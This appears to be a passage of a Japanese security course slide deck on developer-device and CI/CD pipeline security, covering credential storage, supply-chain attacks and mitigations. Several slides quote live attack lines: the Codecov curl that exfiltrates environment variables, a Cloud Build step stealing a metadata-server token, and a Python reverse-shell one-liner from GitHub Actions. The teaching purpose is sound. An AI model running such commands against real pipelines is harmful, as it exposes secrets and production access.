61. 守りかたを考える Credentialsの保管 61 • 長期的に使用するCredentialの保管方法(Password, Static Key, Token, SSH Keyなど) ◦ そもそもCredentialを持たないKeylessを基本的に採用する ▪ Cloud内ではStatic Keyを持たずに認証できる, Cloud間もOIDCを用いてKeylessで認証で きる(次章でGitHub ActionsからGCPへのKeylessアクセスを実践する) ◦ Keylessに出来ないCredentialの保管方法 ▪ サーバやクラウドサービス上のSecret Managerなどに保管・管理する • Hashicorp Vault, AWS Secrets Manager, Google Secrets Managerなど ◦ 監査ログを取得でき、取得制限もかけられる ▪ SSH Keyの保管・利用にはSecurity Keyを用いる ▪ Cloudの長期鍵などは、使用する場所に保管した後、端末からは削除する ◦ (限界) ただし、現実的にそのような保管が出来ないケースは存在する ▪ 前ページの対策を組み合わせながら、可能な限りセキュアにする ▪ (参考) Secret混入の検知・防止する機能・ツールを利用する • GitHub Push Protection, GitLab Secret Detection, TrivyによるSecret Scanning, VS Codeのextensions , etc
62. 守りかたを考える (参考) 端末そのもののセキュリティ • 今回の講義では侵入を前提としているものの、端末自体のセキュリ ティを強化することによりリスクを下げることもできる • 対策例 ※攻撃者はDefense Evasionを調査していることに注意 ◦ ソフトウェアの資産管理・脆弱性の管理 ◦ OSなどのソフトウェアの堅牢化 ◦ マルウェア対策・調査手段の確保 ▪ EDRやマルウェア対策ソフトウェアの使用 ▪ そもそもマルウェア感染が起きづらい・App間の分離がされている端末を使用 • 適切に設定されたChrome OS, iOS, Androidなど ◦ ネットワーク制限 ▪ 端末間の通信制限・外向き通信制限によるC2サーバへの接続防止など • ソフトウェア・基盤開発者の領域で出来ること・出来ないことがある • 自分たちの作るアプリケーションのセキュリティが、他の組織も含めた対策によ り変わってくることを認識しておく ※ 今回スコープ外だが、IT Admin権限の窃取によるクラウド侵害も攻撃パスとして存在する 社内IT・Securityの領域 62
63. 演習2: Try to secure your token • 下記の演習を実施する ◦ https://github.com/rung/training-devenv-security/tree/main/2-exercise2 • ゴール ◦ クレデンシャルのセキュア化を試してみる 63
64. 本章のまとめ • 標的型攻撃の流れの把握 ◦ ATT&CKにおいて、端末への攻撃がどのように表現されているかを説明した • 開発者端末でのCredential Access ◦ 端末に残りうる認証情報にどのようなものがあるかを確認した ◦ 強固な認証を行っても、その後発行されるトークンなどを窃取されると突破さ れることを学んだ • 守りかたを考える ◦ 認証情報に対するセキュリティの強化という目線から、対策としてどのような ことができるかを説明した ◦ ソフトウェアや開発の基盤の開発者からは出来ないことも多く、他チームも含 んだ対策によりリスクが減るケースが多いことを説明した ◦ クレデンシャルの保管には課題も多いことを説明した 64
65. 3. CI/CDパイプラインのセキュリティ 65
66. アジェンダ 1. Introduction - 開発環境の変化と攻撃の流れ 2. 開発端末に残るもの 3. CI/CDパイプラインの セキュリティ 開発端末に対する攻撃に成功すると何が起きるのか、実際に演 習を通じて学び、開発者として出来ることを考えます • 標的型攻撃の流れの把握 • 開発者端末でのCredential Access • 守りかたを考える 新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険 なのかを、演習を通じて学びます • CI/CDパイプラインの理解 • CI/CDパイプラインを狙った攻撃の理解と実践 • 守りかたの理解と実践と限界 66 下記の概要を把握し、クライアントサイドからの攻撃パスがあ ることを理解します • 最近の開発環境の変化 • 開発環境の変化による攻撃パスの違い • 標的型攻撃の概要と攻撃手法のモデル
67. 本章の位置付け • 新たな本番環境への侵入口となったCI/CDパイプラインについて、前章までに扱っ た端末側への攻撃の観点と、パイプラインへのサプライチェーン攻撃の観点の双方 からの攻撃を考える 新たに増えた本番接続口 67 守りたい場所
68. 3. CI/CDパイプラインのセキュリティ 1. CI/CDパイプラインの理解 CI/CDパイプラインがどのような理由で使われるようになったのか、どのよう な用途での利用を行えるのか理解し、実際に演習を行います 68
69. CI/CDパイプラインの理解 Application Developmentのトレンド • DevOps ◦ 開発者と運用者の協力・融合 ▪ 高頻度のデプロイメント ▪ 短期間での変更 ◦ オートメーション ▪ CI (Continuous Integration) ▪ CD (Continuous Delivery) • Infrastructure as codeとGitOpsなどの流れ ◦ Gitを用いてコードでインフラを管理 ◦ Immutable infrastructure ▪ 既にあるサーバにアップデートを当てるの ではなく、コンテナなどを用いて、毎度ビ ルドしなおしアップデートはコンテナごと 入れ替えるという流れに • 多くのソフトウェア開発者を抱える会社でCI/CDパイプ ラインの活用は進んでいる 69
70. CI/CDパイプラインの理解 CI/CDパイプラインとは何か • CI/CDのユースケース ◦ アプリケーションの開発 ◦ Infrastructure as Codeにおけるインフラの管理 (Terraformなど) 70
71. CI/CDパイプラインの理解 CI/CDパイプラインのツール • Managed CI/CD Servicesの例 ◦ GitHub Actions (Managed) ◦ AWS CodePipeline ◦ Google Cloud Build ◦ GitLab CI/CD (Managed) ◦ CircleCI, etc • Self-Hosted CI/CD Servicesの例 ◦ Jenkins ◦ GitHub Actions (Self-Hosted) ◦ Drone ◦ GitLab CI, etc ※ コンテナのデプロイメントの管理(CD)はSpinnakerやArgoCDなどのツールが使われることも多い が、役割は類似であること、コンテナのビルドまでは上記ツールで行われることが多く同様に攻撃で きるため、今回は扱わない 71
72. CI/CDパイプラインの理解 CI/CDパイプラインのインパクト • CI/CDパイプラインへの攻撃は大きなインパクトを持つ ◦ CI/CDはプロダクション環境と直接つながっているから ◦ 環境変数に長期鍵を保管して権限をもたせるのがプラクティスになっている ◦ 本番に繋がるトークンが、Review不要の誰でも変更できるブランチを経由し て取得できるようになっていることが多い 72
73. CI/CDパイプラインの理解 2021: Codecov Supply-chain Attack • Codecov: CI/CD pipelines上で用いるテストカバレッジの計測ツール ◦ Codecovが下記の内容を含むよう改ざんされた(サプライチェーン攻撃) curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http://<redacted>/upload/v2 || true ▪ git repositoryの名前と環境変数がアップロードされる ◦ 2021年4月に発覚。約2ヶ月間世界中で気づかれないまま利用され続けていた 73
74. CI/CDパイプラインの理解 CI/CDパイプラインにおける難しさ • CI/CDは便利だけどリスクも高い ◦ デフォルトの挙動を理解し、対策を行わないと、設定ミスにより本番侵害に繋 がる ◦ ログの保管・実施事項のモニタリングが難しい ◦ Managedだと外向き通信の制限なども難しい • 静的な長期トークンの危険 ◦ ポータブル ◦ Expireしない ◦ トークンの中央管理は難しい • サプライチェーン管理 ◦ ソフトウェアの依存関係だけでなく、CI/CDパイプライン上で使っているツー ルも攻撃に使用される ◦ 何のツールを使っているかの把握やIntegrityの管理も必要だが、そもそも管 理手段がないものもあり難しい 74 まだベストプラクティスも確立しておらず、セキュリティに配慮した設計が難しい
75. CI/CDパイプラインの理解 ATT&CK-like threat matrix https://github.com/rung/threat-matrix-cicd MercariでATT&CK-likeに まとめた攻撃手法一覧 75
76. CI/CDパイプラインの理解 (Ref) Top10 CI/CD Security Risks https://www.cidersecurity.io/top-10-cicd-security-risks/ Top10 CI/CD Security Risks 76
77. 守りかたの理解と実践 (Ref) SLSA • SLSA: Supply-chain Levels for Software Artifacts ◦ サプライチェーンを保護する対策の業界標準 ◦ 主なスコープ ▪ Software artifactの作成 ▪ 依存関係の利用 ▪ DeveloperからConsumerまでのサプライチェーン 77 (本講義のゴール)具体的に各Requirementが何を守るのかを意識しながら利用すること
78. CI/CDパイプラインの理解 (Ref) GitHubの推奨設定 GitHub Organizationの安全な運用とモニタリングに関するスライド （全44ページ）を無償公開しました - Flatt Security Blog 78
79. CI/CDパイプラインの理解 (Ref) CI/CDセキュリティ関連の文書リスト 79 CI/CD, SLSAなどを含むクラウド関係全体の文 書リスト CI/CD Providers - CloudSecDocs
80. 演習3: Try continuous deployment and Infrastructure as code • 下記の演習を実施する ◦ https://github.com/rung/training-devenv-security/tree/main/3-exercise3 • ゴール ◦ CI/CDによるデプロイ自動化とInfrastructure as Codeを実際に試してみる 80
81. (参照) Lab環境 81 devenv-security-app secrets.GCP_ SA_KEY GitHub Actions (CD)deploy test https://github.com/rung/training-devenv-security/tree/main/template/devenv-security-app/.github/workflows main branch any branch Deployment (To simplify the lab, app builds container and deploy it directly) Cloud Run devenv-security-app secrets.GCP_ SA_KEY GitHub Actions (CD)apply plan https://github.com/rung/training-devenv-security/tree/main/template/devenv-security-iac/.github/workflows Google Cloud main branch any branch Apply Google Cloud Resource on Your Project Plan (Storage) state management App IaC
82. 3. CI/CDパイプラインのセキュリティ 2. CI/CDパイプラインを狙った攻撃の理解と実践 CI/CDパイプラインを狙った攻撃について理解し、実際に演習を行います 82
83. CI/CDパイプラインを狙った攻撃の理解と実践 CI/CDパイプラインにおける攻撃手法 Source Code (Git Repository) Developer, SRE Production Build/Test Deploy ✔ Credentials on Env Variables Approver • CI/CD Configuration変更 • ソースコードの変更 • IaCでのコード変更 • Lint, Test, Build Toolへのサプラ イチェーン • デプロイのためのCredentials取得 (isolation不足) • デプロイツールへのSupply-chain • Bypass Review Credentials on Env Variables Merged CI CD 83
84. CI/CDパイプラインを狙った攻撃の理解と実践 Attack Scenario 1 - Managed CI/CD Pipelineへのサプライチェーン攻撃 • Codecovのようなサプライチェーン攻撃 ◦ CircleCIの環境変数は同じレポジトリ内のどのブランチからも参照できる ▪ (mainブランチとそれ以外のIsolationがない) 84
85. CI/CDパイプラインを狙った攻撃の理解と実践 Attack Scenario 2 - IaC by Cloud Buildの一般的な構成 • Infrastructure as Code through the CI/CD pipeline ◦ GCP Cloud Buildは透過的にSecret Managerにアクセスできるように設定可 能 ▪ 適切に設定しないと、mainブランチとそれ以外のIsolationがされない ▪ ▪ 85
86. CI/CDパイプラインを狙った攻撃の理解と実践 Attack Scenario 2 - IaC by Cloud Buildの一般的な構成を狙った攻撃 Device (Write Permission) Plan Apply ✔ Credential For Cloud Configuration Approver Infrastructure as Code Cloud Build Cloud Build GitHub Secret Manager Merged Cloud Infrastructure Branch: dev Branch: main CI CD C&C 1. Malware Infection via Phishing 2. Kick CI by push and modify cloud build config Metadata Server 3. Metadata server provides Temporary Google Service Account Token 4. Attacker retrieves credential from Secret Manager 86
87. CI/CDパイプラインを狙った攻撃の理解と実践 (Ref) Attack Scenario 2 - IaC by Cloud Build cloudbuild.yaml (Cloud Build Configuration) steps: - name: 'curlimages/curl' args: ["curl", "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", "-H", "Metadata-Flavor: Google"]... • Cloud Buildからの一時トークンの取得は下記で実施できる ◦ * SSRFと同様の攻撃. Metadataからのトークン取得 87
88. CI/CDパイプラインを狙った攻撃の理解と実践 (Ref) Attack Scenario 3 - CI/CDパイプライン内での権限昇格 (Self-hosted) • CI/CDパイプライン上で権限昇格して横展開する ◦ コンテナ環境で運用されているCI/CD pipelineの例 • Real World Example (Sep, 2021) ◦ Teleport - Anatomy of a Cloud Infrastructure Attack via a Pull Request ▪ https://goteleport.com/blog/hack-via-pull-request/ 88
89. 演習4: Attack against CI/CD • 下記の演習を実施する ◦ https://github.com/rung/training-devenv-security/tree/main/4-exercise4 • ゴール ◦ CI/CDパイプラインを攻撃し、アタックサーフェスを理解する 89
90. 3. CI/CDパイプラインのセキュリティ 3. 守りかたの理解と実践 さきほど攻撃を行ったCI/CDパイプラインについて、どのような守り方をする と攻撃を防ぐことができるか考えます 90
91. 守りかたの理解と実践 CI/CDパイプラインを守る • CI/CDセキュリティを考える際に使えるリソース ◦ メルカリ公開のThreat matrixが“Mitigation”列を含んでいる ▪ CI/CDセキュリティのデザインを決めるときに使用できる ◦ Top10 CI/CD Security RisksもRecommendationを含む • CDはプロダクションレベルのセキュリティが必要となる ◦ CDはビルド/デプロイや設定変更を行える場所になる https://github.com/rung/threat-matrix-cicd 91
92. 守りかたの理解と実践 Components of CI/CD Name Tools Device • Developer Workstation: Mac/Win/Cloud-based Git Repository Service (SCM) • GitHub, GitLab CI • CI/CD Services (e.g. CircleCI, Cloud Build, Codebuild, GitHub Actions) CD • CI/CD Services (e.g. CircleCI, Cloud Build, Codebuild, GitHub Actions) • CD Services (e.g. Spinnaker, ArgoCD) Secret Management • Secret Management Services (e.g. AWS Secret Manager, GCP Secret Manager, Hashicorp Vault) Production environment • Cloud Services (e.g AWS, Google Cloud, Microsoft Azure) • Other Resources (e.g. Container Registry, Linux Server, Kubernetes) 92
93. 守りかたの理解と実践 Mitigationのしかた • Source Code (Git Repository) Device Production Build/Test Deploy ✔ Approver • 適切なAccess Controls • Least Privilege • Rate Limiting • Signed Commitsの強制 • Audit Logging and Monitoring Approved Secret Manager • ネットワーク制限 • Audit Logging and Monitoring • Rate Limit CI CD • Self-Hosted (Not Managed)の堅牢化 • CI/CDの分離 • Keyless • Audit Logging and Monitoring • 信頼できないtoolを使用しない • Tool Integrity Checks • TerraformなどはCDでのコード実行の制限 (Disallow CI/CD config modification without review, etc) • • Keylessを用いる。必要なStatic KeyはSecret Managerに保管 • mainブランチとそれ以外のIsolationをする • 適切な鍵管理・権限設定(Key Rotation, Least Privilege, CIと CDで権限を分けるなど) • ネットワーク制限 • Audit Logging and Monitoring ❌ ❌ Attacker’s Server C&C Egress Restriction Valid Token from External Network ❌ ❌ Network Restriction to API Secret Manager 93
94. 守りかたの理解と実践 セキュリティの基本原則に立ち返る • 静的なクレデンシャルは、一度盗まれたらどこからでも使える、Single Point of Failure になりうる • 攻撃の流れ全体を見ると、インテリジェントな対策よりも、まずはNetworkのEgress制 限・3rd party toolなどがトークンにアクセスできないようにするなどの対策が有効にな るとも考えられる(アップロードやC2サーバへのアクセスを防止できるため) • セキュリティの基本原則に立ち返りつつ考える ◦ Defense in depth (多層防御) ▪ ネットワーク制御, CIとCDの分離, Keyless, Attack Surfaceの最小化, Integrityの確認(署名検証: tool, application, library, container image) ▪ 鍵が不正利用された可能性がある場合に速やかに変更できるプロセスの確立 ◦ Least Privilege (最小権限の原則) ▪ 常に最小権限にする ◦ その他 ▪ Multi-party authentication(Approval必須) ▪ Audit logging and Security Monitoringなど • ※ モノレポなどでは、さらなる考慮が必要 94
95. 守りかたの理解と実践 Managed vs Self-hosted • Managed CI/CD Pipelinesの課題 ◦ 可視性が低い ◦ 他社とネットワーク環境を共有しており、ネットワーク制限なども難しい • Self-hosted CI/CDの選択肢 ◦ 1. Commercial CI/CDのSelf-hosted runnerを用いる(GitHub Actionsなど) ◦ 2. OSSのCI/CDをベースにしてCI/CD infrastructureをインハウスで作る • No perfect solution provided! ◦ CI/CDセキュリティはまだ新しいエリア ◦ セキュアなCI/CDパイプラインを作るためには、Self-hostedなども用いなが ら開発することが必要 95
96. 演習5: Secure your CI/CD pipeline • 下記の演習を実施する ◦ https://github.com/rung/training-devenv-security/tree/main/5-exercise5 • ゴール ◦ CI/CDパイプラインのセキュア化を実施しつつ、限界を把握する 96
97. 守りかたの理解と実践 (参考) GitHub ActionsのOIDC Token • Flow • ID Tokenの構造 (repository: rung/actions-test, branch: test-run) 97 Actions ID Provider curl -H "Authorization: bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}" "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=<audience>" ID Token Format: JWT(JWS) <Header.Payload.Signature> Header: {"typ":"JWT","alg":"RS256","x5t":"...","kid":"..."} Payload: {"jti":"..."","sub":"repo:rung/actions-test:ref:refs/heads/test-run","aud":"<audience>","ref":"refs/heads/test-run","sha":"...","repo sitory":"rung/actions-test","repository_owner":"rung","repository_owner_id":"...","run_id":"...","run_number":"...","run_attempt":"1" ,"repository_visibility":"private","repository_id":"...","actor_id":"...","actor":"rung","workflow":"...","head_ref":"","base_ref":"" ,"event_name":"push","ref_type":"branch","job_workflow_ref":"rung/actions-test/.github/workflows/cron.yml@refs/heads/test-run","iss": "https://token.actions.githubusercontent.com","nbf":...,"exp":<300sec>,"iat":...} Spec of Claims Configuring OpenID Connect in cloud providers - GitHub Docs
98. 守りかたの理解と実践 (参考) CI/CDの中に入ってコマンドを実行する • Tailscaleなどを利用するとサーバのセットアップなどなしにCI/CDの中身を見れる ◦ (Mesh networkを利用して直接通信できるようになる) ◦ Actionsからローカル端末にリバースシェルを貼る ◦ Tailscaleに接続した端末で待ち受ける 98 - name: Setup Tailscale uses: tailscale/github-action@main with: authkey: ${{ secrets.TAILSCALE_SECRET_FOR_DEBUG }} - name: shell run: | export RHOST="<IP Address>";export RPORT=8080;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' % nc -l 8080 $ hostname hostname fv-az399-545 $ curl -H "Authorization: bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}" "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=test"
99. 本章のまとめ • CI/CDパイプラインの理解 ◦ CI/CDパイプラインの理解や、CI/CDパイプラインを狙った攻撃を説明した • CI/CDパイプラインを狙った攻撃の理解と実践 ◦ 実際に攻撃する方法を紹介し、実践を行った • 守りかたの理解と実践と限界 ◦ 守りかたと、現状の限界を説明し、守りかたの実践を行った 99
100. Summary 100
101. (再掲) ゴール Threat Modelingによる リスクの特定サイクル (Microsoft) Purple Teaming 攻撃目線・防御目線の協力 によるセキュリティ改善 (SANS) 101 • Webアプリケーションを直接狙わない、開発環境経由 の攻撃シナリオを把握する • NISTなどのセキュリティフレームワークや各種ベスト プラクティス、Public Cloud/SaaSなどの提供するセ キュリティ機能について、開発環境観点からの重要度 の判断や、それらに足りていない項目の把握ができる ようになる • ベストプラクティスの確立していない新しい開発技術 においても、Threat Modelingや設計が出来るようにな る
102. 本日行った内容 1. Introduction - 開発環境の変化と攻撃の流れ 2. 開発端末に残るもの 3. CI/CDパイプラインの セキュリティ 開発端末に対する攻撃に成功すると何が起きるのか、実際に演 習を通じて学び、開発者として出来ることを考えます • 標的型攻撃の流れの把握 • 開発者端末でのCredential Access • 守りかたを考える Webアプリケーションの侵害について、開発環境の攻撃シナリオの観点から講義を行った 102 新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険 なのかを、演習を通じて学びます • CI/CDパイプラインの理解 • CI/CDパイプラインを狙った攻撃の理解と実践 • 守りかたの理解と実践と限界 下記の概要を把握し、クライアントサイドからの攻撃パスがあ ることを理解します • 最近の開発環境の変化 • 開発環境の変化による攻撃パスの違い • 標的型攻撃の概要と攻撃手法のモデル
103. Special Thanks! 103
104. Special Thanks! • Security 2022 Web Security Class ◦ Producer: Takashi Yoneuchi ◦ Tutor: Yuta Morioka • Reviewer / Advisor (Abc order) ◦ Ginji Hayashi ◦ Kengo Suzuki ◦ Masahiro Yamada ◦ Miki Takahashi ◦ Mitsuaki (Mitch) Shiraishi 104
105. References 105
106. References • 1. Introduction - 開発環境の変化と攻撃の流れ ◦ 石川 朝久, 2022”脅威インテリジェンスの教科書” ◦ Adam Shostack, 2014 ”Threat Modeling: Designing for Security” ◦ Purple Teaming Explained ◦ Threat Modeling at Mercari ◦ MITRE ATT&CK® ◦ The Unified Kill Chain ◦ MITRE ATT&CK Defender™ (MAD) ATT&CK® Fundamentals Badge Training ◦ Microsoft Security Development Lifecycle Threat Modelling • 2. 開発端末に残るもの ◦ The C2 Matrix ◦ Pursuing evasive custom command & control - GuideM ◦ Chromium Docs - Chrome Security FAQ ◦ About Multifactor Authentication | Okta ◦ GitHub - swisskyrepo/PayloadsAllTheThings ◦ HackTricks ◦ Stealing Chrome cookies without a password ◦ GitHub - moonD4rk/HackBrowserData 106
107. References • 3. CI/CDパイプラインのセキュリティ ◦ Attacking and Securing CI/CD Pipeline - Speaker Deck ◦ Terraform CI code execution restrictions | Mercari Engineering ◦ Common Threat Matrix for CI/CD Pipeline ◦ Top 10 CI/CD Security Risks ◦ SLSA: Supply-chain Levels for Software Artifacts ◦ CNCF Software Supply Chain Best Practices ◦ The Insecure Software Supply Chain - A History of Failure and a New Way Forward 107